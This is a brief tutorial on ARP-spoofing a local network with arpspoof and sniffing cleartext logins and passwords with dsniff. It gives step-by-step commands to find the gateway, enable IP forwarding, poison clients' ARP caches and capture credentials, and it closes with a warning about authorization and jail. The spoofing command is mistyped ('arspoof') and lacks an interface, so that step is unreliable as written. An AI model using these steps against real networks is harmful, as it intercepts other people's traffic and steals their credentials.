Requirements

dsniff
arpspoof
the IP of your gateway
Linux machine (BSD would work too)
Enable IP forwarding (VERY IMPORTANT)

NOTE: On Debian/Ubuntu systems, both tools are packaged under ‘dsniff’.

Get your gateway’s IP

$ route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
10.255.251.0    0.0.0.0         255.255.255.0   U     0      0        0 br0
192.168.122.0   0.0.0.0         255.255.255.0   U     0      0        0 virbr0
0.0.0.0         10.255.251.1    0.0.0.0         UG    0      0        0 br0

In this case, it would be 10.255.251.1.

Enable IP forwarding

Linux

# echo 1 > /proc/sys/net/ipv4/ip_forward

To make it permanent, add this line to /etc/sysctl.conf: net.ipv4.ip_forward = 1

NOTE: If you don’t do this, no one will be able to use the network as your machine will refuse to forward packets to the gateway. You have been warned!

Arpspoof

This will make the clients on the network believe that your computer is the gateway. So make sure you enabled forwarding.

# arspoof 10.255.251.1

dsniff

This tool will sniff the traffic for unencrypted login and passwords. When it finds one, it will print it to stdout.

# dsniff -i br0 -mc

WARNING

Make sure you’re authorized to do this, because in many countries, that could be seen as hacking and/or spying. Laws differ in every country, but the results are often jail.